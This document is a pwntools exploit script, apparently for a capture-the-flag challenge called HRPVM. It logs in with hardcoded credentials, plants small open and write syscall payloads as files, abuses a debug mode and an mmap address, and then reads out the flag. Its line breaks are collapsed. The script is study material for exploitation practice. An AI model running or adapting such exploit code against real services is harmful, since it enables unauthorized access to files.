1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| from pwn import *
arch = 64 challenge = './HRPVM'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge)
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
local = 1 if local: p = process(challenge) else: p = remote('119.13.105.35','10111') def debug(): gdb.attach(p,"b *$rebase(0x248E)\nb *$rebase(0x220B)\n") def cmd(op): sla(">",str(op))
def pwn(name): sla("HRP-MACHINE$ ","./"+name)
def add(name,data): sla("HRP-MACHINE$ ","file") sla("FILE NAME: ",name) sla("FILE CONTENT: ",data)
def dele(name): sla("HRP-MACHINE$ ","rm "+name)
sla("USER NAME:","HRPHRP") sla("PASSWORD:","PWNME") sla("[+]HOLDER:","YHELLOW")
payload = "mov rdi,1;" payload += "mov rsi,36;" payload += "mov rdx,1001;" payload += "mov rax,1;" payload += "call write,1;"
payload2 = "mov rdi,35;" payload2 += "mov rsi,0;" payload2 += "mov rax,2;" payload2 += "call open,2;"
payload3 = "mov rdi,36;" payload3 += "mov rsi,1001;" payload3 += "mov rax,2;" payload3 += "call open,2;"
add("write",payload) add("open",payload2) add("open2",payload3)
for i in range(29): add(str(i),"1111")
pwn("open")
sla("HRP-MACHINE$ ","DEBUG") sla("[+][DEBUGING]root#","file input") sla("FILE NAME:","flag") sla("[+][DEBUGING]root#","mmap") sla("[+]ADDR EXPEND:",str(0x560000000000)) sla("[+][DEBUGING]root#","exit")
sla("HRP-MACHINE$ ","reboot") sla("USER NAME:","HRPHRP") sla("PASSWORD:","PWNME") sla("[+]HOLDER:",p64(0x560000000000))
pwn("open2") pwn("write")
p.interactive()
|